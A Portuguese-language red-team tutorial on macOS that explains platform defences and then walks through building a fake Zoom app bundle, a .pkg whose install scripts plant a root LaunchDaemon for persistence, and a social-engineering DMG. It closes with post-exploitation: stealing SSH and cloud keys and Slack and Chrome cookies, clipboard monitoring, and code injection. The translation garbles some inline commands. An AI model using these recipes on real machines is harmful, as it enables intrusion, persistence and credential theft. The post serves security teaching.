Esta postagem aborda os conceitos básicos de segurança do macOS e, com sorte, serve como uma introdução aos ambientes macOS de red teaming.

Assuntos abordados

• Visão geral de segurança do macOS
  - Gatekeeper e XProtect
  - Tempo de execução reforçado
  - Proteção de integridade do sistema (SIP)
  - Transparência, consentimento e controle (TCC)
  - MacOS Sandbox
  - Chaveiro
• Persistência e cargas úteis de acesso inicial
  - Pacotes de aplicativos
  - Pacotes de instalação
  - Imagens de disco (DMG)
• Escalação de privilégios e pós-exploração
  - Consciência situacional
  - Roubo de cookies
  - Monitoramento da área de transferência
  - Injeção de código
  - Carregamento Mach-O na memória

Nada neste post é uma pesquisa “nova”, mas informações consolidadas sobre os tópicos acima, dos recursos abaixo, em um único local para facilitar a leitura e a introdução.

• Blogs
  - Patrick Wardle/Objective See
  - Adam Chester
  - Justin Bui
  - Csaba Fitzl
  - Wojciech Reguła
  - Cedric Owens
  - Chris Ross
  - Leo Pitt
• Vídeos
  - Cedric Owens' DEFCON 29: Red Teaming macOS
  - Cody Thomas' OBTS: Red Teaming macOS
  - Wojciech Reguła's x33fcon: Red Teaming macOS
  - Cody Thomas' OBTS: Lock Picking the macOS Keychain
• Livros/cursos
  - The Art of Mac Malware de Patrick Wardle
  - OSMR de segurança ofensiva
• Referência completa
  - Awesome-macOS-Red-Teaming

Porteiro e XProtect

Gatekeeper é um mecanismo de segurança projetado para permitir apenas que aplicativos confiáveis ​​sejam executados em sistemas, de forma semelhante ao SmartScreen e MOTW no Windows. Quando arquivos executáveis ​​são baixados da internet, eles são marcados com o com.apple.quarantineatributo, que aciona o gatekeeper quando o arquivo é executado.

Se o executável for autenticado, o Gatekeeper verifica a assinatura de código do arquivo e apresenta uma solicitação ao usuário para confirmar que deseja executar o arquivo.

Se o executável não for autenticado, o Gatekeeper apresentará um aviso ao usuário informando que o arquivo não pode ser executado porque não está assinado. Para executar executáveis ​​não assinados, o usuário deve clicar com o botão direito do mouse no arquivo e clicar em abrir, em vez de clicar duas vezes.

Após a verificação da assinatura do código, o XProtect, que é o antivírus integrado do macOS, verificará o arquivo em busca de malware. O XProtect utiliza regras YARA que podem ser encontradas por meio locate XProtect.yarae são, na maioria das vezes, inúteis, a menos que você esteja executando cargas úteis padrão do Metasploit. Além disso, o XProtect só verifica malware sob três condições

• O arquivo está sendo executado pela primeira vez
• O hash do arquivo foi alterado
• As regras YARA do XProtect foram atualizadas

Tempo de execução reforçado

O tempo de execução reforçado é um recurso que pode ser ativado em aplicativos para proteção contra injeção de código por meio de sequestro de dylib, variáveis ​​de ambiente e injeção de porta de tarefa. Um exemplo de como o tempo de execução reforçado protege contra injeção é exigir que qualquer dylib carregado no processo seja assinado com o mesmo certificado do próprio aplicativo. É claro que isso causa problemas quando um aplicativo precisa carregar dylibs de terceiros, portanto, os aplicativos podem ter certos direitos para remover algumas dessas restrições.

Podemos listar os direitos de aplicativos por meio codesign -d --entitlements :- <file>ou do list_entitlementscomando em Poseidon e, se algum dos itens abaixo estiver presente, poderemos injetar no aplicativo:

• O com.apple.security.cs.disable-library-validationdireito permite que qualquer dylib, assinado ou não assinado, seja carregado no processo. Dependendo da localização dos dylibs que o aplicativo carrega, isso pode abrir a porta para o sequestro de dylib.
• O com.apple.security.cs.allow-dyld-environment-variablesdireito permite que dylibs sejam carregados a partir da DYLD_INSERT_LIBRARIESvariável de ambiente. No entanto, esse direito por si só não remove os requisitos de assinatura de código mencionados anteriormente. Se esse direito estiver presente junto com o direito de validação de biblioteca de desabilitar, você poderá injetar no aplicativo de maneira DYLD_INSERT_LIBRARIES=malicious.dylib ./appsemelhante ao LD_PRELOADLinux.
• O com.apple.security.get-task-allowdireito permite que outros aplicativos obtenham a porta de tarefa do seu aplicativo, o que é semelhante à obtenção de um identificador para um processo no Windows. Deve-se notar que, para acessar uma porta de tarefa, seu código deve ser executado como root. Com a porta de tarefas, você pode executar sua injeção de processo clássica escrevendo shellcode e criando um thread.

Proteção da Integridade do Sistema (SIP)

O SIP, também conhecido como “sem raiz”, protege os arquivos do sistema contra modificações. Essencialmente, mesmo como usuário root, não podemos alterar certos arquivos do sistema, como os executáveis ​​dentro do /bin/. Arquivos protegidos por SIP podem ser identificados por meio do restrictedsinalizador.

O SIP pode ser desativado via csrutil disable, no entanto, requer a reinicialização do dispositivo no modo de recuperação, portanto, isso geralmente está fora de questão do ponto de vista da equipe vermelha.

Transparência, Consentimento e Controle (TCC)

TCC é um recurso de privacidade do macOS implementado na versão 10.14+ que solicita ao usuário conceder permissões explicitamente quando um aplicativo tenta acessar determinados recursos, como a câmera e determinadas pastas, incluindo , , Desktope Downloadsunidades Documents/volumes.

Tentar acessar um recurso protegido por TCC sem permissões pode levar à geração acidental de um prompt, alertando o usuário sobre sua presença e, por fim, seu envolvimento termina antes do esperado. Abaixo estão alguns arquivos úteis que não são protegidos pelo TCC:

• Arquivos e pastas ocultos no diretório inicial — ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
• Dados do aplicativo do usuário —~/Library/Application Support/*
• Arquivos de cookies — ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

O banco de dados TCC do usuário requer acesso total ao disco (FDA) para interagir, no entanto, se pudermos interagir com ele, podemos modificá-lo para conceder acesso a outros recursos. Podemos verificar se temos FDA sem avisar o usuário executando fileno banco de dados TCC do usuário.

Os desvios TCC não são particularmente “raros” e recomendo verificar o blog de Csaba Fitzl para se manter atualizado com os desvios novos e antigos.

Sandbox do macOS

A sandbox do macOS é um recurso no qual os desenvolvedores podem ativar seus aplicativos se forem lançados fora da App Store e obrigatório para todos os aplicativos baixados diretamente da App Store. Os aplicativos que optaram pelo recurso sandbox terão o com.apple.security.app-sandboxdireito e, como o nome indica, os forçarão a serem executados dentro de um sandbox. Os aplicativos executados em uma sandbox têm acesso extremamente limitado ao sistema, como a capacidade de ler ou gravar arquivos no disco. Por esse motivo, certos caminhos de ataque no macOS, como phishing por meio de macros, não são atraentes. Como os aplicativos do Microsoft Office aceitam a sandbox e impedem que você persista e saqueie.

Chaveiro

O chaveiro pode ser comparado ao LSASS no Windows e contém segredos como senhas e chaves para aplicativos. Por exemplo, um aplicativo pode criptografar os arquivos que armazena no disco e a chave de descriptografia desses arquivos é armazenada no chaveiro. O chaveiro do sistema pode ser encontrado em /Library/Keychains/System.keychaine o chaveiro do usuário pode ser encontrado em ~/Library/Keychains/login.keychain-db.

Você pode baixar as chaves do usuário, embora os segredos contidos sejam criptografados com a senha do usuário. Dependendo se você tem a senha do usuário, você pode aproveitar o Chainbreaker para extrair segredos ou despejar o hash da senha do chaveiro --dump-keychain-password-hashem um formato para hashcat que é extremamente lento para quebrar.

Por fim, cada entrada no chaveiro tem ACLs e permissões associadas que podem ser visualizadas no aplicativo Acesso ao Chaveiro. Aplicativos confiáveis ​​são aplicativos que podem executar operações na entrada de chaves sem avisar o usuário. Essa lista pode ser encontrada na guia “Controle de acesso”, e um caso interessante é onde a lista é “NULL”, o que significa que todos os aplicativos são confiáveis, não deve ser confundido com uma lista vazia que simplesmente significa que nenhum aplicativo é confiável.

Se você estiver executando no contexto de um aplicativo confiável ou se a lista for NULL e você tiver qualquer uma das autorizações abaixo, poderá extrair segredos sem avisar o usuário:

• ACLAuthorizationDecrypt
• ACLAuthorizationExportClear
• ACLAuthorizationExportWrapped
• ACLAutorizaçãoQualquer

Payloads de acesso inicial e persistência

Se você estiver interessado em aprender sobre os tipos de carga para macOS alternativos aos listados abaixo, recomendo verificar o projeto Mystikal e a postagem de blog associada .

Além disso, deve-se observar que os produtos EDR no macOS não são maduros e funcionam essencialmente apenas como um produto de log. Portanto, você normalmente pode usar qualquer agente C2 padrão além do Metasploit e não precisa se preocupar com o EDR capturando sua carga útil.

Pacotes de aplicativos

Pacotes de aplicativos (.app) são um dos tipos de programas mais comuns e são o formato em que quase todos os softwares de usuário final são lançados. Os pacotes de aplicativos são armazenados /Applications/e exibidos para você quando você clica no Launchpad. Referindo-se à documentação da Apple , um pacote mínimo de aplicativos geralmente tem a seguinte estrutura:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - Crie a estrutura de pastas do pacote de aplicativos

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

Em seguida, como os macs Intel e Silicon agora são comuns, podemos criar uma carga útil AMD e ARM Poseidon e, em seguida, combiná-los em um Mach-O universal que pode ser executado em qualquer uma das arquiteturas e, em seguida, colocá-lo no lipo -create <arm-payload> <amd-payload> -output <universal-payload>diretório MacOS.

3 - Crie o Info.plistarquivo.

Referindo-se aos documentos do desenvolvedor da Apple, precisaremos especificar algumas chaves:

• CFBundleExecutable — O nome do executável principal dentro do diretório MacOS (PoseidonPayload)
• CFBundleIconFile — O nome da imagem do aplicativo (ZoomImageForPayload)
• CFBundleIdentifier — A string que identifica seu aplicativo no sistema (com.examplepayload.Zoom)
• CFBundleName — O nome do seu aplicativo (FakeZoom)
• CFBundleVersion — O número da versão de compilação do seu aplicativo (1.0.0)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>CFBundleExecutable</key>
 <string>PoseidonPayload</string>
 <key>CFBundleIconFile</key>
 <string>ZoomImageForPayload</string>
 <key>CFBundleIdentifier</key>
 <string>com.examplepayload.Zoom</string>
 <key>CFBundleName</key>
 <string>FakeZoom</string>
 <key>CFBundleVersion</key>
 <string>1.0.0</string>
</dict>
</plist>

Como estamos criando um aplicativo falso do Zoom, podemos simplesmente copiar o arquivo icns do Zoom do /Applications/diretório (se estiver instalado) para Resources/ZoomImageForPayload, no entanto, você pode usar qualquer ícone que desejar.

Pacotes do instalador

Os pacotes do instalador (.pkg) são arquivos xar e outro tipo de programa comum visto quando o software precisa ser instalado com privilégios de root. Embora os pacotes do instalador possam conter uma carga útil principal para executar quando abertos, uma alternativa é aproveitar os scripts “pré-instalação” e “pós-instalação”, que o nome indica, executarão um script antes e depois da instalação.

Para este exemplo, criaremos um pacote instalador que usa esses scripts para registrar um LaunchDaemon para persistência como o usuário root quando aberto.

1 - Crie a estrutura de pastas do pacote do instalador

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - Crie um arquivo plist para registrar como LaunchDaemon

Há realmente apenas um valor necessário dentro deste arquivo plist que é ProgramArgumentse essencialmente especifica o que executar quando o LaunchDaemon é acionado.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - Crie os scripts de pré e pós-instalação

Esses scripts são apenas scripts bash regulares, no entanto, eles devem começar #!/bin/bashe terminar com exit 0. Usaremos o script de pré-instalação para copiar nosso plist e carga útil para os locais corretos no disco e, em seguida, o script de pós-instalação para registrar o LaunchDaemon.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

                    
                    
                
            

Para criar o pacote do instalador a partir desses scripts, podemos simplesmente executarpkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

Podemos descarregar o LaunchDaemon executando launchctl unload com.examplepayload.persistence.pliste deve-se observar que descartar a carga /Library/Application Support/foi puramente de preferência e pode ser descartado em outro lugar.

LaunchDaemons representam apenas uma forma de persistência no macOS e se você estiver interessado em outras formas, recomendo conferir o blog do SentinelOne .

Imagens de disco (DMG)

DMGs são volumes compactados que podem conter outros formatos de carga útil. O benefício de entregar sua carga em um arquivo DMG é que você pode adicionar elementos gráficos para ajudar na engenharia social do usuário para clicar com o botão direito do mouse e, em seguida, abrir sua carga para ignorar o Gatekeeper, pois o próprio DMG não invoca o Gatekeeper.

Para criar um DMG de aparência genuína, precisaremos criar uma imagem de plano de fundo personalizada. Prefiro aproveitar software legítimo ou papel de parede da empresa junto com draw.io , mas você pode criar o seu próprio como quiser.

Para esta demonstração, usei esta imagem como base e criei isto:

Para começar, podemos criar uma imagem de disco abrindo Disk Utilitye selecionando “Arquivo” e depois “Nova imagem” e depois “Imagem em branco…”

Podemos selecionar o nome do nosso volume e, em seguida, alterar o “Formato” para “Mac OS Extended (Journaled)”.

Abra o arquivo .dmg, que é “example-payload.dmg” no meu caso, e um volume aparecerá na sua área de trabalho, então abra o volume, que é “example” no meu caso. Para mostrar arquivos ocultos no macOS, você pode clicar em “[shift] + [comando] + [ponto final]”.

Mova sua imagem de plano de fundo para o volume /Volumes/<volume-name>/como um arquivo oculto, junto com sua carga útil. Para este exemplo, podemos reutilizar o pacote de aplicativos da seção acima.

Em seguida, podemos clicar no volume e selecionar “Visualizar” seguido de “Mostrar opções de visualização”.

Em “Plano de fundo”, selecione “Imagem” e clique duas vezes na caixa “Arrastar imagem aqui”. Uma nova janela do Finder será aberta e você poderá selecionar a imagem de fundo no volume. Se você não escolher uma imagem contida no volume, isso pode causar erros. Além disso, podemos redimensionar o ícone por meio de “Tamanho do ícone”.

Redimensione a janela para caber no plano de fundo e centralize o pacote de aplicativos.

Quando estiver satisfeito com o layout e enquanto a janela do Finder ainda estiver aberta, clique com o botão direito do mouse no volume na área de trabalho e clique em “Ejetar”.

Abra novamente Disk Utilitye selecione “Imagens” e depois “Converter…”

Selecione seu arquivo DMG e, em seguida, selecione “Criptografia: nenhum” e “Formato de imagem: compactado”

É claro que esta demonstração não faz muito sentido, pois é um plano de fundo do Chrome, com um aplicativo Zoom (lol), no entanto, espero que você entenda.

Uma última coisa a observar em relação às cargas úteis é que os arquivos baixados por meio do navegador anexarão o com.apple.metadata:kMDItemWhereFromsatributo, que lista de onde o arquivo foi baixado. Se você estiver baixando sua carga útil de Poseidon diretamente do Mythic em seu navegador antes de empacotá-la, isso pode levar à revelação acidental da localização do servidor de sua equipe. Você pode remover este atributo via xattr -d com.apple.metadata:kMDItemWhereFroms <file>.

Escalação de privilégios e pós-exploração

Esta seção não é exaustiva de todas as atividades que você pode realizar depois de obter um shell e destina-se apenas a dar uma ideia geral do pós-ex no macOS.

Consciência situacional

Você pode começar com algumas verificações de consciência situacional no sistema, executando HealthInspector ou SwiftBelt ou navegando manualmente nos arquivos de configuração. Muitos desses arquivos serão arquivos plist em formato binário e, para torná-los legíveis, você pode usar plutil. Alguns arquivos de interesse podem ser:

• Quais aplicativos o usuário tem no dock? —plutil -p ~/Library/Preferences/com.apple.dock.plist
• Com quais arquivos o usuário interagiu recentemente? —plutil -p ~/Library/Preferences/com.apple.finder.plist
• Em qual versão do macOS você está? —plutil -p /System/Library/CoreServices/SystemVersion.plist

Em seguida, você pode iniciar o download de alguns arquivos não protegidos por TCC do disco, incluindo o histórico bash ou zsh do usuário, chaves ssh, chaves de nuvem (AWS, GCP, etc), chaveiro e cookies.

Como você está em um macOS, é provável que a organização para o seu envolvimento seja uma empresa de tecnologia ou startup, e é comum ver o Slack nesses ambientes. Se assim for, você pode baixar os seguintes arquivos:

• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Em seguida, você pode direcionar os cookies do navegador, para este exemplo, usaremos o Google Chrome. Se você tiver a senha do usuário ao encontrá-la em seu histórico bash ou zsh ou talvez executando um prompter de senha , você pode baixar ~/Library/Application Support/Google/Chrome/Default/Cookiese descriptografar o arquivo offline. Como alternativa, se você não tiver a senha do usuário, poderá usar ferramentas como WhiteChocolateMacademiaNut para iniciar o Chrome com a depuração remota habilitada e, em seguida, despejar os cookies em um websocket. Novamente, como os EDRs do mac não são maduros, descartar ferramentas distorcidas no disco não deve ser uma grande preocupação.

Com acesso aos cookies do navegador, você pode abrir um SOCKS por meio do comando interno de Poseidon ou drop chisel e navegar em sites internos. Especificamente, você pode querer direcionar sites de documentação interna, como o Confluence e seus repositórios de código interno para encontrar credenciais privilegiadas.

Monitoramento da área de transferência

No macOS, toda vez que o conteúdo da área de transferência é alterado, um contador é incrementado, portanto, podemos monitorar o valor do contador em um intervalo e buscar o conteúdo da área de transferência se ele tiver sido alterado. Poseidon tem um comando embutido clipboard_monitorque podemos aproveitar para isso.

Algumas coisas adicionais a serem observadas:

• O clipboard_monitorcomando filtra para recuperar apenas texto simples, portanto, se o usuário copiar um binário grande para a área de transferência, não precisamos nos preocupar em enviar grandes quantidades de tráfego pelo nosso C2.
• O usuário raiz não tem acesso à área de transferência, portanto, qualquer ferramenta de monitoramento da área de transferência deve ser executada em um contexto de usuário.

Conforme mencionado anteriormente na seção de endurecimento do tempo de execução, ser capaz de injetar código em um aplicativo é útil do ponto de vista da equipe vermelha, pois pode potencialmente conceder a você direitos adicionais e acesso a recursos que você não tinha anteriormente.

Por exemplo, sua carga útil inicial pode não ter acesso à pasta Downloads, no entanto, se você puder injetar código no Chrome que possa ter o com.apple.security.files.downloads.read-writedireito, poderá navegar na pasta Downloads.

Para encontrar destinos para injeção de código, você pode executar o comando de Poseidon list_entitlements, que procurará por processos em execução com os direitos mencionados na seção de tempo de execução reforçado.

A partir daqui, você pode inspecionar cada processo para encontrar um alvo em potencial.

Uma outra forma de injeção de código não mencionada anteriormente é o “sequestro de elétrons”, que é abordado extensivamente por Adam Chester neste blog . Essencialmente, você pode aproveitar a ELECTRON_RUN_AS_NODEvariável de ambiente para gerar um processo como um filho de um aplicativo eletrônico e, como os processos filhos herdam as permissões TCC de seus pais, você pode potencialmente obter seus direitos.

Carregamento de Mach-O na memória

Embora definitivamente não seja necessário com o estado atual dos EDRs do macOS, é possível executar Mach-Os na memória. As APIs usadas para executar o carregamento na memória variam entre as versões do sistema operacional, portanto, não abordarei isso, mas, em vez disso, recomendo verificar a postagem de Justin Bui e a postagem de Adam Chester .